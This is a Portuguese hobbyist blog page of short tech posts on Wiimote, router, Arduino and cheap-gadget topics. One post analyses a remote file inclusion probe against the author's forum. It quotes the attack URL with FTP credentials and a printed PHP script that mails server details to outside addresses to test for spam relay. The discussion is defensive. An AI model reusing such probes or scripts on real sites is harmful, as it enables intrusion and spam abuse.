[BUZZ] Conectei o Wiiremote ao PC


Eu conectei o Wiiremote ao PC (Windows XP) seguindo estas instruções:
http://www.instructables.com/id/How-To-Connect-your-Wiimote-to-your-PC-via-Blueto/

Usei o adaptador de US$2 da DX e o Bluesoleil 2.7.0.13

É importante seguir à risca. Se o Bluesoleil localizar o Wiimote mas você não conseguir conectar ao HID service, você esqueceu de um dos passos do proceso.

Depois basta rodar a versão mais recente do WiinRemote:
http://onakasuita.org/wii/index-e.html

Obs: Cuidado para não confundir WiiRemote (o remoto) com WiinRemote (o programa para Windows).

Que você transforma o Wiiremote em um controle remoto e “mouse” sem fio bem interessante. Ele é limitado pelo pequeno número de botões, mas em compensação poder controlar o ponteiro do mouse apenas apontando o remoto para a tela não é algo que se vê todo dia. Eu precisei configurar o WiinRemote para usar o IR sensor, porque o Motion Sensor é muito impreciso para isso (tanto é que o próprio Wii precisa de ambos).

No meu primeiro teste eu tive que deixar o Wii por perto para poder usar o IR sensor, cujo cabo de alimentação é exclusivo. Mas agora eu tenho outro IR sensor
https://profiles.google.com/117578158927571476541/posts/ijWaYsZVvEv
que me deixa independente do Wii.

No WIndows Seven 32 bits, o adaptador bluetooth da DX funcionou apanas uma vez (exceto IR sensor), usando o próprio stack do Windows. Logo após reiniciar não funcionou mais.

Não testei com stack bluesoleil, o wiimote fica piscando permanentemente os quatro LEDs.

Aparentemente para parar de piscar é preciso haver uma resposta de uma aplicação no SO. Ao fazer o pairing com o XP é normal ficar piscando direto os 4 Leds, mas ao abrir o Wiinremote fica aceso apenas o quarto e, se ativarmos o controle do cursor, o primeiro também.

É importante saber que o “sensor IR” do Wii não é de fato um sensor. Ele é apenas um emissor de infravermelho. O sensor está no Wiimote. Assim, mesmo que você não tenha um Wii, pode ter um Wiimote no PC apenas comprando esses três itens:

https://www.dealextreme.com/details.dx/sku.31993
http://www.dealextreme.com/details.dx/sku.26893
http://www.dealextreme.com/details.dx/sku.11866

Programas com suporte nativo:

O XBMC parece já ter suporte desde a versão 9

The Wiinstrument
http://screenfashion.org/releases/the_wiinstrument/
Permite que você toque apenas balançando o Wii e o nunchuck

Glovepie
http://glovepie.org/glovepie.php

Smoothboard
http://www.smoothboard.net/


Liked by: Marcel Bueno

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Alguém procurando uma vulnerabilidade no meu fórum

Hoje um visitante acessou meu fórum usando o seguinte URL:

https://ryan.com.br/smf/index.php?topic=ftp://kchopita10:k2k2k2@ftp.xpg.com.br/test.php?

Esse evidentemente não é um URL válido do SMF e deve estar mal intencionado, querendo explorar uma possível falha no fórum.

Alguém sabe qual seria a provável intenção do sujeito com um URL assim?

7 comentários
  • Jefferson - 6.606 Comentários

    Humm… aparentemente é um teste para ver se ele consegue mandar e-mails pelo meu servidor. O conteúdo de "test.php" é este:

    <?php
    ini_set("max_execution_time",-1);
    set_time_limit(0);
    $remetente = "";
    $assunto = "box";
    $email1 = "sc5101@live.com;somente007@gmail.com";
    $headers = "MIME-Version: 1.0rn";
    $headers .= "Content-type: text/html; charset=iso-8859-1rn";
    $headers .= "From: dadadadada $remetentern";
    $headers .= "Bcc: $remetentern";
    $html = "teste5555";if(mail($email1, $assunto, $html . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){
    echo "Opa, enviado!";
    exit();
    }
    else{
    echo "Nao enviei..";
    exit();
    }
    ?>

    "kchopita10" é usuário
    "k2k2k2" é senha.

    O mais interessante é ver que o autor disso parece ter acesso à raiz FTP de xpg.com.br.

    Mas eu usei as mesmas credenciais em um programa de FTP e só existem dois arquivos lá.

  • O usuario dele, em xpg.com.br deve estar com chroot no diretorio. Dessa forma o diretorio dele fica como sendo o raiz da conta. Ele nao consegue voltar niveis, apenas avançar.

  • É que tem muito site que usa o formato ?pagina=clientes.php por exemplo…
    E no source usa include($_GET["pagina"])… E o include suporta endereços http…

  • Vi que vc deixou uma mensagem pra o cidadão no arquivo test.php Ryan, :)

  • Jefferson - 6.606 Comentários

    Eu pensei em apagar, mas depois vi que assim ficava mais divertido. :)
    E se ele estiver usando um programa totalmente automatizado, pode levar um tempo até perceber que não funciona mais ;)

  • Jefferson - 6.606 Comentários

    Procurando no Google pela string
    echo "Opa, enviado!";

    Descobri que isso vem sendo usado há muito tempo, de diversas formas (não apenas usando FTP e não é um ataque dirigido ao SMF) como se pode ver por este post de 2007:

    http://groups.google.com/group/cfbrasil/browse_thread/thread/60e8702232ac92dd?pli=1

    Também se pode ver que o script está hospedado em diversos sites, de onde pode ser usado livremente por qualquer um.

  • Isso é um script pra ver se ta chegando "inbox", se chegar ótima máquina pro spam

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Comprei meu primeiro Arduino

#eletrônica

Comprei meu primeiro Arduino e enquanto espero chegar (vai demorar) já estou reunindo idéias. A mais importante delas pode requerer um cartão SD, mas módulos SD para o Arduino ainda são absurdamente caros. Vou usar uma gamabiarra:

http://www.scienceprog.com/sd-mmc-card-fits-in-floppy-connector/

   

10 comentários
Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] ryan.com.br agora faz parte do Project HoneyPot

Na minha constante luta para proteger meu trabalho dos spammers, ryan.com.br agora faz parte do Project HoneyPot.

http://www.projecthoneypot.org/

   


Liked by: Glauco Heitor, Cesar Machado

2 comentários
Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Parece que o D-link DSL 500B só funciona com a GVT se atualizar o firmware

Parece que o D-link DSL 500B só funciona com a GVT se atualizar o firmware:

http://suporte.dlink.com.br/suporte/gvt/

10 comentários
Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Limitações dos roteadores wireless em uma rede Windows

Embora roteadores sejam bem convenientes, é preciso ter em mente que o compartilhamento de rede do Windows (pelo menos até o XP) é atrapalhado por eles. Cada roteador que você instala divide sua rede em sub-redes que terão dificuldade para se enxergarem se você estiver usando o modo “default” que é conectar o roteador à rede já existente pela porta WAN.

Se você só tem um roteador (sem contar o modem), isso não é problema. A coisa só complica quando você tem mais de um.

O problema se divide em dois:

Você quer iniciar uma conexão que sai pela porta WAN

Se você souber o endereço IP da máquina com a qual quer se conectar, pode usá-lo em vez do seu nome. Por exemplo, em vez de \sala\driveC você vai ter que usar \192.168.0.2\driveC. Você pode automatizar isso atribuindo “sala” a “192.168.0.2” no seu arquivo %windir%\system32\drivers\etc\hosts.

Você quer iniciar uma conexão que entra pela porta WAN

Aí a porca realmente torce o rabo. Eu nem vou tentar explicar como fazer, porque os roteadores dificultam propositalmente essa tarefa.

Eu conheço dois modos de contornar isso e ambos envolvem fazer com que sua rede não seja dividida em sub-redes

  1. Se seu roteador tiver um modo “bridge” (nada a ver com o modo bridge ADSL) use-o. Parece que o modo “Access Point” (AP) equivale ao modo “bridge”, mas não tenho certeza.
  2. Faça o roteador funcionar como um “switch sem fio” na marra

Vou explicar em linhas gerais como “2” é feito:

  1. Mude o endereço IP do roteador para uma faixa diferente da faixa usada no roteador que fica “upstream”. Salve, reinicie e reconecte.
  2. Atribua ao seu computador um IP fixo na faixa do roteador,
  3. Conecte-se ao roteador e desative seu servidor DHCP interno
  4. Conecte o cabo que você normalmente conectaria à porta WAN a uma porta qualquer “LAN” do roteador.
  5. Desfaça o IP fixo no seu computador. Reinicie o roteador.
  6. Feche a porta WAN com fita adesiva, para que ninguém tente usá-la de novo por engano (não vai funcionar);

Isso transforma o roteador em “switch”. Com o servidor DHCP interno desativado os computadores ligados tanto por fio quanto sem fio irão pegar IP no servidor DHCP mais próximo “upstream” e tudo ficará na mesma faixa de IPs, não atrapalhando o compartilhamento do Windows.

Mas anote o endereço IP do roteador numa etiqueta embaixo dele, porque a partir de agora você só poderá entrar no seu setup atribuindo ao seu computador um IP fixo na mesma faixa. Se você esquecer esse endereço, provavelmente vai ter que resetar o roteador se quiser mudar alguma configuração (senha wireless, por exemplo).

Eu posso estar esquecendo algum detalhe. Estou escrevendo isso “de cabeça”.

Também de cabeça eu garanto que isso funciona com:

  • Dlink DI-524
  • Siroco EVO W301-AR
  • OIWTECH OIW2411-APG (usando o modo bridge)

Mas, na marra, deve funcionar com qualquer roteador.

6 comentários
  • Jefferson - 6.606 Comentários

    Se na sua rede o acesso à internet já funciona para todo mundo é bem provável que "1" não seja necessário, porque os roteadores já estão em faixas diferentes. Mas verifique de qualquer forma.

    Por exemplo, se o roteador "upstream" atribui endereços na faixa 192.168.0.x, o roteador que você vai transformar em switch não deve ficar com um endereço na faixa 192.168.0.x. A não ser que você saiba bem o que está fazendo (no mínimo, garantir que o roteador upstream não dê esse endereço a mais ninguém).

  • Jefferson - 6.606 Comentários

    Exemplo real, da minha casa.

    O modem ADSL, que está sempre no modo roteador, é conectado a um switch, de onde partem cabos para os outros roteadores da casa.

    O modem é um speedstream, que atribui endereços na faixa 192.168.254.x

    O roteador wireless Siroco EVO eu fixei no endereço 192.168.3.1. Note que esse endereço não está na faixa de nenhum roteador que eu conheça, para que eu possa fazer qualquer mudança sem medo de travar algo por conflito.

    Meu roteador OIWTECH, como tem suporte a isso, está em modo bridge e configurado para o endereço 192.168.2.1.

    Assim todas as máquinas da casa, incluindo câmera IP e media player, recebem endereços no modem (192.168.254.x), não importando onde estejam conectadas.

  • show de bola
    obrigado pela aula

  • Essa semana, passei por uma situação destas, veja o meu problema.
    O roteador da GVT manda a conexão para um switch, desse switch a conexão vai para um servidor de rede com winxp onde há um comnpartilhamento de arquivos, também há mais 2 pcs pendurados nesse switch.
    Há um outro roteador sem fio no modo bridge que compartilha a conexão com mais 2 pcs com win7 e uma impressora Hp wirelees.
    Todos pcs se enxergam na rede e o compartilhamento de arquivos funciona.
    Todos pcs tem a mesma faixa de IP e o mesmo grupo de trabalho.
    Todos pcs fazem impressão.
    Nos dois roteadores as portas 3389 e 3391 estão liberadas para conexao de area de trabalho remota.
    Ai é que entra a encrenca.
    No pc com winxp que recebe a conexão pelo switch eu consigo fazer conexao remota, tanto pela 3389 ou 3391.
    No outro pc com Win7 que está conectado ao roteador sem fio no modo bridge eu não consigo fazer a conexão remota por nenhuma porta, mesmo que seja por LAN.
    Acredito que o problema esteja no roteador sem fio, porém no modo bridge não há firewall segundo o manual e as portas estão liberadas, porém acredito que funções NAT não funcionem no modo bridge, alguém saberia me dizer ?

  • Jefferson - 6.606 Comentários

    "No outro pc com Win7 que está conectado ao roteador sem fio no modo bridge eu não consigo fazer a conexão remota por nenhuma porta, mesmo que seja por LAN."

    No modo bridge você não precisa se preocupar com portas, NAT, firewall, etc. Tudo o que você tiver configurado nesse sentido será ignorado. Que eu saiba, o modo "bridge" é apenas uma forma automática onde o roteador faz sozinho o que eu expliquei como fazer na marra. O único lugar onde você precisaria se preocupar com essas coisas seria o modem. E obviamente apenas para conexões externas.

    Aqui na minha rede e com o modo bridge do roteador OIWTECH o acesso remoto funciona normalmente, mesmo atravessando duas portas WAN

  • Olá,

    Por um acaso fiz um procedimento parecido ontem onde trabalho. Há um modem roteado SpeedStream ligado ao um Hub, me pediram então para ligar um roteador Dlink Dir 300 e colocar um ponto de acesso wireless para um computador específico e prover para outro via cabo. Fiz uma pesquisa e configurei o Dlink em modo AP, funcionou beleza. Só faltou mesmo ver o ip para o Dlink visando o acesso ao painel, pois como o Jefferson falou, se precisar configurar algo tem de resetar o modem.

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Bluetooth Wireless 2.4GHz 1000DPI Optical Mouse

Eu havia postado isso em 17/11/10, mas esqueci no rascunho do Buzz (deixei como post privado)

Bluetooth Wireless 2.4GHz 1000DPI Optical Mouse (2*AAA) (161g)
http://www.dealextreme.com/details.dx/sku.16090

Comprei 19/09
Postado 14/10
Chegou 16/11

Esse a DX levou mais de um mês só para postar

Ainda estou enrolado com o mouse. Estou usando em conjunto com http://www.dealextreme.com/details.dx/sku.11866 e usando duas pilhas AAA recarregáveis. Ele parece funcionar bem, mas depois de uns 30min de inatividade o mouse deve estar entrando no modo de economia de energia. E depois não volta mais!

Ao clicar qualquer dos botões você percebe que o mouse "acorda", porque a luz acende, mas o ponteiro na tela permanece morto.

Peso
Só a embalagem pesa 91.5g
O mouse pesa 45.9g
A bolsa 10.9g

       

5 comentários
  • Jefferson - 6.606 Comentários

    Esse mouse está até agora contabilizado como prejuízo. Pedi ajuda no fórum da DX e não tive nenhuma resposta em três meses. Levei muito tempo para reclamar à DX e agora eles querem que eu mande o mouse de volta. Não vale a pena.

  • Comprei um mouse semelhante a esta na focal price ele entra em economia de energia mais volta perfeitamente bem o cursor responde imediatamente. testei no xp, vista e sevem 32x, realmente.esse teu acho que não tem configuração que resolva. Obs: eu clico no botão direito do mouse pra voltar da hibernação.

  • Jefferson, como é a qualidade dos botões desse mouse? Eles são duros? São barulhentos? Pergunto isso porque estou procurando um mouse bluetooth e tem muito mouse que os botões são duros e barulhentos que compensa mais usar o touchpad do notebook. Eu tenho esses 2 abaixo, se me permite colocarei um mini review rápido deles:

    http://www.focalprice.com/CK258B/Portable_Advanced_24GHz_Wireless_Microsoft_Arc__Mouse_Black.html

    Obviamente é uma imitação do mouse da Microsoft, mas funciona bem, alguns pontos:

    – A cobertura preta dele é emborrachada (no momento da compra pensei que fosse plástico liso), eu particularmente não gosto disso porque é ruim de limpar e com o tempo (depois de muitas limpezas forçadas) essa camada emborrachada começa a sumir nas áreas onde sofre maior atrito. Eu tenho um A4Tech X-710F com fio que perdeu todo esse emborrachamento (o que sobrou eu tirei com uma flanela e álcool isopropílico), ele tem uns 4 anos, mas até agora não achei um mouse decente pra por no lugar, olha que já testei uns 6 modelos diferentes (ele está funcionando bem, mas queria um sem fio).
    – As pilhas tem um compartimento clássico com tampa reta, funciona bem.
    – Os botões são um tanto duros e barulhentos.
    – O scroll funciona bem mas é um pouco duro, já vi piores.
    – A traseira dele (parte dobrável) é muito estreita, pra mãos grandes como a minha não fica muito confortável.
    – O acabamento dele é até razoável, mas o meu veio com uma marca de atrito na parte emborrachada, atrás do botão esquerdo. A parte dobrável é bem firme, não parece frágil.

    http://www.dealextreme.com/p/wireless-optical-mouse-9

    Esse mouse é bem popular, mas eu reprovei…

    – O mouse liga quando o receptor USB é ejetado, comigo as pilhas esgotaram no primeiro dia porque o receptor soltou dentro da mochila, aí já viu.
    – O receptor é grande demais.
    – A tampa das pilhas é péssima, o contato das pilhas fica nela, ou seja, as pilhas fazem pressão contra a tampa, a minha com menos de 10 aberturas já não prende direto mais, qualquer batidinha e o mouse abre =/
    – Os botões são macios e não fazem barulho além do normal.
    – O scroll era bem duro, mas eu abri, afastei um pouco a travinha que tem na rodinha e ficou super leve. Funciona bem.
    – O corpo dele é todo emborrachado, só as partes cinzas que não são.
    – 2 pézinhos dele foram embora na primeira semana que carreguei na mochila (dentro de uma bolsa de netbook, ou seja, não ficou solto).

    Como estou procurando um mouse bluetooth pra usar no notebook, fiz uma pesquisa no eBay e lojas da China, mas a maioria dos que tem disponíveis a um preço bom são similares ao do Jefferson, os diferentes tem pouca informação disponível, teve um que me pareceu interessante, será que alguém tem e pode dar sua opinião? É este: http://www.dealextreme.com/p/800-1600cpi-bluetooth-optical-mouse-1-aa-50292

  • Olha, eu desisti de comprar mouses baratos há muito tempo.
    Depois que eu descobri que a garantia da Microsoft é quase eterna, e que funciona mesmo, não compro de outra marca.

    Acabei de receber um mouse novo em substituição a um Laser Mouse 6000 em que o wheel de borracha começou a se desfazer. Me mandaram um Wireless Laser Mouse 8000 no lugar.
    Eu não tinha mais a nota fiscal, e já vai pra quase 4 anos que eu tinha comprado, só me pediram pra enviar uma declaração junto com o produto dizendo que eu tinha perdido a nota.
    O meu mouse principal é um SideWinder, que eu uso pra games e tem uma precisão matadora, mas é um mouse caro pra usar fora desse ambiente.

  • Jefferson - 6.606 Comentários

    Julião,

    Os botões são barulhentos. A rodinha é "pesada".

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] Digital Multimeter A830L Mini BROTORP $10.49

Digital Multimeter A830L Mini BROTORP $10.49 (273g)
http://www.dealextreme.com/details.dx/sku.594~r.92324728

Comprei 15/02 (registrado)
Chegou 18/03

Comprei mais este multímetro porque o modelo anterior, também comprado na DX, desenvolveu uma série incontornável de defeitos.

De cara encontrei um problema: não tem "auto power off". Se você esquecer ligado (eu esperei 45min), a bateria vai pro beleléu em pouco tempo. Ele vem com uma bateria 9V comum, mas como eu sou irremediavelmente distraído, já troquei por uma recarregável.

Edit: não é sempre que isso é um problema. Existem situações em que o "auto power off" do multímetro irrita.

As ponteiras são do tipo vagabundo.

O buzzer do teste de continuidade só começa a apitar 1s após estabelecer contato. Isso pode ser bastante inconveniente e acaba levando você a olhar para o display mais do que gostaria. Aparentemente isso ocorre porque o buzzer só apita quando a resistência cai abaixo de "x", mas o aparelho demora um pouco para chegar a "x".

O volume do teste de continuidade é baixo, mas audível em um ambiente razoavelmente silencioso como uma residência. Em um ambiente industrial seria impossível ouvir.

Mas no resto está funcionando. Não dá para esperar muito de um instrumento de R$18.

 

Clique para comentar
(Prefira clicar em "Responder" se estiver comentando um comentário)

Deixe um comentário

Você pode usar estas tags HTML

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

:) :( ;) O_o B) :lol: :huh: :S :D :-P 8-O :yahoo: :rtfm: :dashhead1: :clapping: more »

[BUZZ] 2.5″ TFT LCD 1/4 CMOS 300K Pixel Vehicle Mount Video Recorder/Camcorder w/ SD/MMC

2.5″ TFT LCD 1/4 CMOS 300K Pixel Vehicle Mount Video Recorder/Camcorder w/ SD/MMC Slot (120 Degree) $57.29 (413g)
http://www.dealextreme.com/details.dx/sku.47144~r.92324728
$57.30

Comprei 06/02
Chegou 18/03

Esse pacote chegou rápido. Tenho vários pacotes comprados antes que não faço idéia de quando vão chegar. O preço do produto subiu US$1,3 desde a compra.

Primeiras impressões

A apresentação do produto é muito boa. A caixa é bem feita e o conteúdo vem bem acondicionado. Não dá a impressão de produto vagabundo.

Gostei do acesso fácil ao slot SD. Facilita bastante o compartilhamento do cartão com minha câmera Canon e/ou com meu TREO 650. É só empurrar com o dedo e o cartão está fora, pronto para ser usado em outro lugar.

Cria arquivos enormes. A câmera por default é ajustada para criar arquivos a cada 2min e cada um fica com uns 118MB (na resolução default de 640×480). O cartão de 2GB que vou usar por enquanto não aguenta nem 40min.

A divisão do filme em pedaços de “x” minutos tem, a meu ver, pelo menos dois objetivos:

+Segurança: Cada arquivo “fechado” está relativamente seguro. Se por exemplo a câmera gravasse arquivos de 40min, a qualquer momento que a câmera falhasse, por qualquer motivo (incluindo setor ruim no cartão), você poderia ter até 40min de gravação perdidos.

+Facilidade de fazer o loop: Esse tipo de dispositivo, para ser eficiente, precisa ser capaz de operar em loop, gravando por cima das gravações mais antigas quando o cartão está lotado. O modo mais simples de se conseguir isso é justamente dividir a filmagem em arquivos “pequenos” e ir apagando os arquivos mais velhos à medida que mais espaço vai sendo necessário.

Tem ajuste de 50/60Hz, que evita ondulações na filmagem sob iluminação fluorescente. É recomendável ajustar para 60Hz assim que a câmera chegar.

Eu não tenho nenhuma saída marcada para os próximos dias, então os testes na rua vão demorar um pouco.

       

20 comentários
  • Jefferson - 6.606 Comentários

    Informações do Mediainfo para um dos arquivos:

    Video
    ID : 0
    Format : JPEG
    Codec ID : MJPG
    Duration : 2mn 1s
    Bit rate : 10.2 Mbps
    Width : 640 pixels
    Height : 480 pixels
    Display aspect ratio : 4:3
    Frame rate : 29.591 fps
    Color space : YUV
    Chroma subsampling : 4:2:2
    Bit depth : 8 bits
    Compression mode : Lossy
    Bits/(Pixel*Frame) : 1.120
    Stream size : 147 MiB

    Audio
    ID : 1
    Format : PCM
    Format settings, Sign : Unsigned
    Codec ID : 1
    Codec ID/Hint : Microsoft
    Duration : 2mn 1s
    Bit rate mode : Constant
    Bit rate : 64.0 Kbps
    Channel(s) : 1 channel
    Sampling rate : 8 000 Hz
    Bit depth : 8 bits
    Stream size : 946 KiB (1%)
    Interleave, duration : 766 ms (22.67 video frames)

  • Jefferson - 6.606 Comentários

    Compatibilidade com cartões

    Câmeras que usam um codec de baixa compressão, como esta, criam um problema adicional: o cartão tem que ser rápido o bastante para suportar o grande volume de dados. No caso deste modelo isso não chega a ser problema, porque gravando 60MB por minuto a câmera só precisa de um cartão capaz de 1MB/s de escrita. Nunca vi um cartão SD que não suportasse pelo menos o dobro.

  • Desculpe a minha falta de imaginação, mas qual a finalidade prática de um dispositivo desses?

  • Jefferson - 6.606 Comentários

    Oferecer uma prova de culpa em caso de acidentes é o mais óbvio.

  • Jefferson - 6.606 Comentários

    +Eu atravessei o sinal vermelho ou foi o outro motorista? (caso famoso aqui em Recife)

    +Eu botei por cima do motociclista ou este estava ziguezagueando na pista e se desequilibrou na minha frente (já levei diversos sustos)?

    +Eu estava parado na esquina e arranquei de repente ou o carro à minha direita simplesmente entrou de vez na minha frente para entrar à esquerda (já aconteceu comigo)?

    +Eu atravessei com o carro de repente na frente do outro motorista ou era ele que estava parado numa esquina (é proibido) e arrancou de repente (também já aconteceu comigo)?

    O caminhão fez uma manobra sem me ver, rasgou a lateral do meu carro, se mandou, e o motorista ainda disse que fui eu que batei nele (já aconteceu comigo)?

    O motorista bêbado, andando bem mais devagar, saiu da faixa da direita para a minha, não me dando condição de frear a tempo. Bati na traseira dele. Negou que tivesse feito a manobra. Negou ter me ouvido buzinar até a colisão. Testemunhas no carro dele confirmaram a versão dele. A culpa é minha (já aconteceu comigo)?

    +Eu botei por cima do motociclista ou ele vinha na contramão, à noite (já levei um susto)?

    +Eu botei por cima do motociclista ou ele estava parado do lado da moto, abaixado, em um ponto que eu não podia ver ao cruzar outro veículo e não tinha triângulo de sinalização (já levei um susto)?

    O carro que bateu em mim fugiu. Qual a placa?

    Eu parei em cima da faixa de pedestre por descaso ou o fluxo de veículos à minha frente parou de repente não me dando opção?

  • Jefferson - 6.606 Comentários

    Essa câmera teria sido bastante útil para mim na época em que eu trabalhava com manutenção eletrônica industrial. Poder ver as últimas horas do funcionamento de uma máquina teria ajudado a solucionar diversos mistérios, incluindo os mais difíceis de elucidar: "é ou não sabotagem do operador" e "é ou não selvageria do mecânico"?

    O fato de datar a filmagem e não requerer troca de cartão faria muitas máquinas encrenqueiras de repente ficarem "tímidas" diante da câmera e rodar 24/7 sem defeito. Disso tenho certeza.

    Mas também mostraria a sequência de eventos que levou à ocorrência de bugs reais de funcionamento.

  • Bom, claramente o seu histórico lhe dá motivos para achar mil utilidades para o aparelho. :)
    Como até hoje eu só me envolvi em um acidente de trânsito, o qual foi completamente minha culpa (estava tendo uma discussão com uma namorada terminando o relacionamento e não vi o sinal fechar, e bati na traseira de outro motorista.) não me ocorreu mesmo uma necessidade de gravar prova para barbeiragens dos outros.

  • Jefferson - 6.606 Comentários

    Mais algumas:

    São 23h. Você passa devagar em um sinal vermelho em um lugar potencialmente perigoso. Mais à frente é abordado pela polícia de trânsito, que de forma truculenta o manda parar e se explicar. Como provar a autoridades "de verdade" COMO (em que condição de segurança) você atravessou e POR QUÊ (já aconteceu com minha mãe e irmã).

    Já aconteceu comigo – De repente o motoqueiro da polícia de trânsito encosta em você e manda você parar o veículo. Quando você pára, ele acusa você de estar usando o celular. Você sabe que estava apenas coçando o rosto e o guarda "acha" que você estava com o telefone na mão porque viu sua mão no rosto através do vidro fumê traseiro, de dia. Sua situação se complica porquê você ou carrega o celular normalmente no bolso da camisa ou em cima do banco do carona, bem à vista. Você pede ao policial para checar a lista das últimas ligações e ele afirma que "isso pode ser apagado". Não seria bom mostrar o filme onde suas duas mãos aparecem no volante a intervalos incompatíveis com o uso de um celular?

    O motorista do outro veículo estava com o celular no ouvido na hora da colisão, dirigindo como um demente. Nega. Como provar?

    O motorista estava parado à esquerda na via, com as lanternas apagadas. Depois da colisão ele jura de pés juntos que o carro estava todo iluminado. Como provar sem chamar o CSI?

    O motorista da sucata à sua frente quer dar um golpe e pára sem motivo algum na sua frente, sem dar tempo de reação. Como pelo menos levantar indícios de que ele está mal intencionado? (isso acontece aqui em Recife)

  • Jefferson - 6.606 Comentários

    E não é só para o caso de instalar no veículo que você está dirigindo. Também é interessante em veículos da empresa, para poder apurar como seus funcionários andam dirigindo e até filmar eventuais assaltos (ou tentativas) ao seu veículo. Cada câmera seria equipada com um cartão capaz de gravar pelo menos meio expediente de trabalho e a cada "check-in" na empresa o cartão seria copiado e limpo.

    Em caso de multas, seria fácil de apurar pela gravação a culpa do motorista, até mesmo se ele não tiver percebido mesmo que cometera uma infração.

  • Jefferson - 6.606 Comentários

    Não parece ser possível ajustar o número de fps da câmera, que está travado em 29.591. Eu gostaria de poder experimentar com valores menores, como 15 fps. Embora isso prejudicasse bastante a fluidez do vídeo, iria dobrar a autonomia do cartão. Mas é preciso ver se isso não faria perder detalhes importantes. Afinal, um veículo a 80km/h anda 22m em um segundo.

    Bom mesmo seria se a câmera gravasse com um codec "decente", é claro. O resto é gambiarra. Mas eu comprei uma das câmeras mais baratas da DX ;)

  • Jefferson - 6.606 Comentários

    lá atrás eu mencionei filmar as mãos do motorista. Isso não é viável com este modelo de câmera. Para isso seria necessário no mínimo instalar a câmera no teto do carro, o que reduziria o detalhe exterior. Com uma câmera verdadeiramente "HD" talvez fosse até possível ter a visão de retrovisor do motorista e registrar o velocímetro, sem perder a capacidade de visualizar placas.

  • vou tentar me lembrar de nunca dirigir em recife… só tem doido!!!!

  • Jefferson - 6.606 Comentários

    Meus amigos paulistas que moram aqui dizem isso também :)

  • Jefferson - 6.606 Comentários

    A câmera possui um conector próprio de alimentação e quando está conectada (e alimentada) pelo cabo USB opera no modo PC, não permitindo gravação. Isso dificulta a localização de cabos e fontes compatíveis.

    A fonte original é especificada (se é que podemos acreditar em especificações de fontes chinesas) como 5V x 700mA.

    Eu fiz uns testes aqui e localizei duas fontes de celulares que são compatíveis em tensão, polaridade e dimensões do conector:

    Nokia ACP-8UB (5.3V x 500mA)
    Nokia ACP-12UB (5.7V x (800mA)

    Note que a tensão em ambas é um pouco maior do que o esperado (5V) mas não creio que seja problema. A fonte 8UB pode não aguentar ligada por longos períodos.

    Mas isso é só pro caso de você precisar ligar a câmera na tomada, longe do carro e depois que a bateria acabar. De qualquer forma com essa informação você já sabe de de onde canibalizar o cabo, caso você perca o original e precise fazer uma adaptação.

  • Jefferson - 6.606 Comentários

    Curiosamente, quando conectei a câmera ao PC pela primeira vez a primeira coisa que ele detectou foi "… USB Camera", mas depois detectou como leitor de cartões.

    Não consegui encontrar nenhuma câmera no Gerenciador de Dispositivos.

    Como tenho um monte de outras coisas me esperando, depois eu verifico isso.

  • Jefferson - 6.606 Comentários

